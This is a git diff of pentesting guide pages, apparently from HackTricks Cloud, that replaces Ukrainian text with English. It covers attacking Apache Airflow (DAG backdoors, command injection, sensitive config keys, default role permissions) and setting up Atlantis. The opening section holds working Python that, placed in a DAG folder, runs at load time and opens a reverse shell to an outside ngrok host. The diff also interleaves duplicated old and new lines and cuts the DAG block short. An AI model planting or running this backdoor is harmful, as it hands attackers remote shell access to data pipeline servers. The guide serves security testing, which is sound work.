#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
If you set something to be **executed in the root of the code**, at the moment of this writing, it will be **executed by the scheduler** after a couple of seconds after placing it inside the DAG's folder.
|
||||
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
|
||||
rs("2.tcp.ngrok.io", 14403)
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_python2',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
run = PythonOperator(
|
||||
task_id='rs_python2',
|
||||
python_callable=rs,
|
||||
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### Створення DAG
|
||||
|
||||
Якщо вам вдасться **зламати машину всередині кластера DAG**, ви зможете створити нові **скрипти DAG** у папці `dags/`, і вони будуть **репліковані на решті машин** всередині кластера DAG.
|
||||
#### DAG Creation
|
||||
|
||||
#### Впровадження коду в DAG
|
||||
If you manage to **compromise a machine inside the DAG cluster**, you can create new **DAGs scripts** in the `dags/` folder and they will be **replicated in the rest of the machines** inside the DAG cluster.
|
||||
|
||||
Коли ви виконуєте DAG з GUI, ви можете **передавати аргументи** до нього.\
|
||||
Отже, якщо DAG не правильно закодований, він може бути **вразливим до Command Injection.**\
|
||||
Саме це сталося в цьому CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
#### DAG Code Injection
|
||||
|
||||
Все, що вам потрібно знати, щоб **почати шукати командні ін'єкції в DAG**, це те, що **параметри** **доступні** за допомогою коду **`dag_run.conf.get("param_name")`**.
|
||||
When you execute a DAG from the GUI you can **pass arguments** to it.\
|
||||
Therefore, if the DAG is not properly coded it could be **vulnerable to Command Injection.**\
|
||||
That is what happened in this CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
|
||||
|
||||
All you need to know to **start looking for command injections in DAGs** is that **parameters** are **accessed** with the code **`dag_run.conf.get("param_name")`**.
|
||||
|
||||
Moreover, the same vulnerability might occur with **variables** (note that with enough privileges you could **control the value of the variables** in the GUI). Variables are **accessed with**:
|
||||
|
||||
Більше того, та ж вразливість може виникнути з **змінними** (зверніть увагу, що з достатніми привілеями ви могли б **контролювати значення змінних** в GUI). Змінні **доступні за допомогою**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
foo = Variable.get("foo")
|
||||
```
|
||||
Якщо вони використовуються, наприклад, всередині команди bash, ви можете виконати ін'єкцію команди.
|
||||
|
||||
If they are used for example inside a a bash command, you could perform a command injection.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,105 +1,114 @@
|
||||
# Налаштування Airflow
|
||||
# Airflow Configuration
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Файл конфігурації
|
||||
## Configuration File
|
||||
|
||||
**Apache Airflow** генерує **файл конфігурації** на всіх машинах airflow, який називається **`airflow.cfg`** в домашньому каталозі користувача airflow. Цей файл конфігурації містить інформацію про налаштування і **може містити цікаву та чутливу інформацію.**
|
||||
**Apache Airflow** generates a **config file** in all the airflow machines called **`airflow.cfg`** in the home of the airflow user. This config file contains configuration information and **might contain interesting and sensitive information.**
|
||||
|
||||
**Існує два способи доступу до цього файлу: шляхом компрометації деякої машини airflow або доступом до веб-консолі.**
|
||||
**There are two ways to access this file: By compromising some airflow machine, or accessing the web console.**
|
||||
|
||||
Зверніть увагу, що **значення всередині файлу конфігурації** **можуть не бути тими, що використовуються**, оскільки ви можете перезаписати їх, встановивши змінні середовища, такі як `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
Якщо у вас є доступ до **файлу конфігурації на веб-сервері**, ви можете перевірити **реальну конфігурацію, що виконується**, на тій же сторінці, де відображається конфігурація.\
|
||||
Якщо у вас є **доступ до якоїсь машини в середовищі airflow**, перевірте **середовище**.
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
|
||||
Деякі цікаві значення для перевірки при читанні файлу конфігурації:
|
||||
Some interesting values to check when reading the config file:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: Це вказує на **дозволені** **заголовки** для **CORS**
|
||||
- **`access_control_allow_methods`**: Це вказує на **дозволені методи** для **CORS**
|
||||
- **`access_control_allow_origins`**: Це вказує на **дозволені джерела** для **CORS**
|
||||
- **`auth_backend`**: [**Згідно з документацією**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) кілька варіантів можуть бути використані для налаштування, хто може отримати доступ до API:
|
||||
- `airflow.api.auth.backend.deny_all`: **За замовчуванням ніхто** не може отримати доступ до API
|
||||
- `airflow.api.auth.backend.default`: **Усі можуть** отримати доступ без аутентифікації
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Для налаштування **аутентифікації kerberos**
|
||||
- `airflow.api.auth.backend.basic_auth`: Для **базової аутентифікації**
|
||||
- `airflow.composer.api.backend.composer_auth`: Використовує аутентифікацію композиторів (GCP) (з [**тут**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Це вказує на **роль**, яку **користувач композиторів** отримає в **airflow** (**Op** за замовчуванням).
|
||||
- Ви також можете **створити свій власний метод аутентифікації** за допомогою python.
|
||||
- **`google_key_path`:** Шлях до **ключа облікового запису служби GCP**
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Пароль Atlas
|
||||
- **`username`**: Ім'я користувача Atlas
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Облікові дані (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: URL Postgres, який може містити **облікові дані**.
|
||||
- **`ssl_cacert`**: Шлях до cacert
|
||||
- **`ssl_cert`**: Шлях до сертифіката
|
||||
- **`ssl_key`**: Шлях до ключа
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Увімкнено за замовчуванням. При виявленні DAG ігноруйте будь-які файли, які не містять рядків `DAG` та `airflow`.
|
||||
- **`fernet_key`**: Ключ для зберігання зашифрованих змінних (симетричний)
|
||||
- **`hide_sensitive_var_conn_fields`**: Увімкнено за замовчуванням, приховує чутливу інформацію про з'єднання.
|
||||
- **`security`**: Який модуль безпеки використовувати (наприклад, kerberos)
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Шлях до ca
|
||||
- **`tls_cert`**: Шлях до сертифіката
|
||||
- **`tls_key`**: Шлях до tls ключа
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: Шлях до файлу ccache
|
||||
- **`forwardable`**: Увімкнено за замовчуванням
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Шлях до GCP JSON облікових даних.
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Повна назва класу бекенду секретів для активації
|
||||
- **`backend_kwargs`**: Параметр backend_kwargs завантажується в словник і передається в **init** класу бекенду секретів.
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: Пароль SMTP
|
||||
- **`smtp_user`**: Користувач SMTP
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: За замовчуванням це **Lax**, тому це вже найслабше можливе значення
|
||||
- **`cookie_secure`**: Встановіть **прапор безпеки** на сесійне cookie
|
||||
- **`expose_config`**: За замовчуванням False, якщо true, **конфігурацію** можна **читати** з веб **консолі**
|
||||
- **`expose_stacktrace`**: За замовчуванням це True, це покаже **python tracebacks** (можливо, корисно для зловмисника)
|
||||
- **`secret_key`**: Це **ключ, який використовується flask для підпису cookie** (якщо у вас є це, ви можете **видавати себе за будь-якого користувача в Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Шлях** до **SSL** **сертифіката**
|
||||
- **`web_server_ssl_key`**: **Шлях** до **SSL** **ключа**
|
||||
- **`x_frame_enabled`**: За замовчуванням **True**, тому за замовчуванням клікджекинг неможливий
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
|
||||
### Веб-аутентифікація
|
||||
### Web Authentication
|
||||
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
|
||||
За замовчуванням **веб-аутентифікація** вказується у файлі **`webserver_config.py`** і налаштовується як
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
Що означає, що **автентифікація перевіряється проти бази даних**. Однак можливі й інші конфігурації, такі як
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
Щоб залишити **автентифікацію стороннім сервісам**.
|
||||
|
||||
Однак також є можливість **дозволити доступ анонімним користувачам**, встановивши наступний параметр на **бажану роль**:
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,43 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(З документації)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow постачається з **набором ролей за замовчуванням**: **Admin**, **User**, **Op**, **Viewer** та **Public**. **Тільки користувачі `Admin`** можуть **налаштовувати/змінювати дозволи для інших ролей**. Але не рекомендується, щоб користувачі `Admin` змінювали ці стандартні ролі будь-яким чином, видаляючи або додаючи дозволи до цих ролей.
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
|
||||
- **`Admin`** користувачі мають всі можливі дозволи.
|
||||
- **`Public`** користувачі (анонімні) не мають жодних дозволів.
|
||||
- **`Viewer`** користувачі мають обмежені дозволи перегляду (тільки читання). Він **не може бачити конфігурацію.**
|
||||
- **`User`** користувачі мають дозволи `Viewer` плюс додаткові дозволи користувача, які дозволяють йому трохи керувати DAG. Він **може бачити конфігураційний файл.**
|
||||
- **`Op`** користувачі мають дозволи `User` плюс додаткові дозволи оператора.
|
||||
- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
|
||||
Зверніть увагу, що **адміністратори** можуть **створювати більше ролей** з більш **детальними дозволами**.
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
|
||||
Також зверніть увагу, що єдина стандартна роль з **дозволом на перегляд користувачів і ролей - це Admin, навіть Op** не зможе цього зробити.
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
|
||||
### Стандартні дозволи
|
||||
### Default Permissions
|
||||
|
||||
Це стандартні дозволи для стандартних ролей:
|
||||
These are the default permissions per default role:
|
||||
|
||||
- **Admin**
|
||||
|
||||
\[може видаляти на Connections, може читати на Connections, може редагувати на Connections, може створювати на Connections, може читати на DAGs, може редагувати на DAGs, може видаляти на DAGs, може читати на DAG Runs, може читати на Task Instances, може редагувати на Task Instances, може видаляти на DAG Runs, може створювати на DAG Runs, може редагувати на DAG Runs, може читати на Audit Logs, може читати на ImportError, може видаляти на Pools, може читати на Pools, може редагувати на Pools, може створювати на Pools, може читати на Providers, може видаляти на Variables, може читати на Variables, може редагувати на Variables, може створювати на Variables, може читати на XComs, може читати на DAG Code, може читати на Configurations, може читати на Plugins, може читати на Roles, може читати на Permissions, може видаляти на Roles, може редагувати на Roles, може створювати на Roles, може читати на Users, може створювати на Users, може редагувати на Users, може видаляти на Users, може читати на DAG Dependencies, може читати на Jobs, може читати на My Password, може редагувати на My Password, може читати на My Profile, може редагувати на My Profile, може читати на SLA Misses, може читати на Task Logs, може читати на Website, доступ до меню на Browse, доступ до меню на DAG Dependencies, доступ до меню на DAG Runs, доступ до меню на Documentation, доступ до меню на Docs, доступ до меню на Jobs, доступ до меню на Audit Logs, доступ до меню на Plugins, доступ до меню на SLA Misses, доступ до меню на Task Instances, може створювати на Task Instances, може видаляти на Task Instances, доступ до меню на Admin, доступ до меню на Configurations, доступ до меню на Connections, доступ до меню на Pools, доступ до меню на Variables, доступ до меню на XComs, може видаляти на XComs, може читати на Task Reschedules, доступ до меню на Task Reschedules, може читати на Triggers, доступ до меню на Triggers, може читати на Passwords, може редагувати на Passwords, доступ до меню на List Users, доступ до меню на Security, доступ до меню на List Roles, може читати на User Stats Chart, доступ до меню на User's Statistics, доступ до меню на Base Permissions, може читати на View Menus, доступ до меню на Views/Menus, може читати на Permission Views, доступ до меню на Permission on Views/Menus, може отримувати на MenuApi, доступ до меню на Providers, може створювати на XComs]
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[може видаляти на Connections, може читати на Connections, може редагувати на Connections, може створювати на Connections, може читати на DAGs, може редагувати на DAGs, може видаляти на DAGs, може читати на DAG Runs, може читати на Task Instances, може редагувати на Task Instances, може видаляти на DAG Runs, може створювати на DAG Runs, може редагувати на DAG Runs, може читати на Audit Logs, може читати на ImportError, може видаляти на Pools, може читати на Pools, може редагувати на Pools, може створювати на Pools, може читати на Providers, може видаляти на Variables, може читати на Variables, може редагувати на Variables, може створювати на Variables, може читати на XComs, може читати на DAG Code, може читати на Configurations, може читати на Plugins, може читати на DAG Dependencies, може читати на Jobs, може читати на My Password, може редагувати на My Password, може читати на My Profile, може редагувати на My Profile, може читати на SLA Misses, може читати на Task Logs, може читати на Website, доступ до меню на Browse, доступ до меню на DAG Dependencies, доступ до меню на DAG Runs, доступ до меню на Documentation, доступ до меню на Docs, доступ до меню на Jobs, доступ до меню на Audit Logs, доступ до меню на Plugins, доступ до меню на SLA Misses, доступ до меню на Task Instances, може створювати на Task Instances, може видаляти на Task Instances, доступ до меню на Admin, доступ до меню на Configurations, доступ до меню на Connections, доступ до меню на Pools, доступ до меню на Variables, доступ до меню на XComs, може видаляти на XComs]
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
|
||||
- **User**
|
||||
|
||||
\[може читати на DAGs, може редагувати на DAGs, може видаляти на DAGs, може читати на DAG Runs, може читати на Task Instances, може редагувати на Task Instances, може видаляти на DAG Runs, може створювати на DAG Runs, може редагувати на DAG Runs, може читати на Audit Logs, може читати на ImportError, може читати на XComs, може читати на DAG Code, може читати на Plugins, може читати на DAG Dependencies, може читати на Jobs, може читати на My Password, може редагувати на My Password, може читати на My Profile, може редагувати на My Profile, може читати на SLA Misses, може читати на Task Logs, може читати на Website, доступ до меню на Browse, доступ до меню на DAG Dependencies, доступ до меню на DAG Runs, доступ до меню на Documentation, доступ до меню на Docs, доступ до меню на Jobs, доступ до меню на Audit Logs, доступ до меню на Plugins, доступ до меню на SLA Misses, доступ до меню на Task Instances, може створювати на Task Instances, може видаляти на Task Instances]
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[може читати на DAGs, може читати на DAG Runs, може читати на Task Instances, може читати на Audit Logs, може читати на ImportError, може читати на XComs, може читати на DAG Code, може читати на Plugins, може читати на DAG Dependencies, може читати на Jobs, може читати на My Password, може редагувати на My Password, може читати на My Profile, може редагувати на My Profile, може читати на SLA Misses, може читати на Task Logs, може читати на Website, доступ до меню на Browse, доступ до меню на DAG Dependencies, доступ до меню на DAG Runs, доступ до меню на Documentation, доступ до меню на Docs, доступ до меню на Jobs, доступ до меню на Audit Logs, доступ до меню на Plugins, доступ до меню на SLA Misses, доступ до меню на Task Instances]
|
||||
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,109 +4,109 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
Atlantis в основному допомагає вам запускати terraform з Pull Requests з вашого git сервера.
|
||||
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
|
||||
|
||||
.png>)
|
||||
|
||||
### Local Lab
|
||||
|
||||
1. Перейдіть на **сторінку релізів atlantis** в [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) і **завантажте** ту, яка вам підходить.
|
||||
2. Створіть **персональний токен** (з доступом до репозиторіїв) вашого **github** користувача.
|
||||
3. Виконайте `./atlantis testdrive`, і він створить **демо репозиторій**, який ви можете використовувати для **взаємодії з atlantis**.
|
||||
1. Ви можете отримати доступ до веб-сторінки за адресою 127.0.0.1:4141.
|
||||
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
|
||||
2. Create a **personal token** (with repo access) of your **github** user
|
||||
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
|
||||
1. You can access the web page in 127.0.0.1:4141
|
||||
|
||||
### Atlantis Access
|
||||
|
||||
#### Git Server Credentials
|
||||
|
||||
**Atlantis** підтримує кілька git хостів, таких як **Github**, **Gitlab**, **Bitbucket** та **Azure DevOps**.\
|
||||
Однак, щоб отримати доступ до репозиторіїв на цих платформах і виконувати дії, потрібно надати деякий **привілейований доступ** (принаймні права на запис).\
|
||||
[**Документація**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) рекомендує створити користувача на цих платформах спеціально для Atlantis, але деякі люди можуть використовувати особисті акаунти.
|
||||
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
|
||||
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
|
||||
|
||||
> [!WARNING]
|
||||
> У будь-якому випадку, з точки зору атакуючого, **акаунт Atlantis** буде дуже **цікавим** **для компрометації**.
|
||||
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
|
||||
|
||||
#### Webhooks
|
||||
|
||||
Atlantis за бажанням використовує [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) для перевірки, що **webhooks**, які він отримує від вашого Git хоста, є **легітимними**.
|
||||
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
|
||||
|
||||
Один зі способів підтвердити це - **дозволити запити лише з IP-адрес** вашого Git хоста, але простіший спосіб - використовувати Webhook Secret.
|
||||
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
|
||||
|
||||
Зверніть увагу, що якщо ви не використовуєте приватний сервер github або bitbucket, вам потрібно буде відкрити веб-хуки для Інтернету.
|
||||
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis буде **відкривати веб-хуки**, щоб git сервер міг надсилати йому інформацію. З точки зору атакуючого було б цікаво дізнатися, **чи можете ви надсилати йому повідомлення**.
|
||||
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
|
||||
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[З документації:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis запускає Terraform, просто **виконуючи команди `terraform plan` та `apply`** на сервері, на якому **розміщено Atlantis**. Так само, як і при запуску Terraform локально, Atlantis потребує облікових даних для вашого конкретного провайдера.
|
||||
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
|
||||
|
||||
Вам вирішувати, як ви [надаєте облікові дані](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) для вашого конкретного провайдера в Atlantis:
|
||||
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
|
||||
|
||||
- Helm Chart Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) та [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) мають свої механізми для облікових даних провайдера. Читайте їх документацію.
|
||||
- Якщо ви запускаєте Atlantis у хмарі, багато хмар мають способи надати доступ до API хмари для додатків, що працюють на них, наприклад:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Шукайте "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Багато користувачів встановлюють змінні середовища, наприклад, `AWS_ACCESS_KEY`, де працює Atlantis.
|
||||
- Інші створюють необхідні конфігураційні файли, наприклад, `~/.aws/credentials`, де працює Atlantis.
|
||||
- Використовуйте [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) для отримання облікових даних провайдера.
|
||||
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
|
||||
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
|
||||
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
|
||||
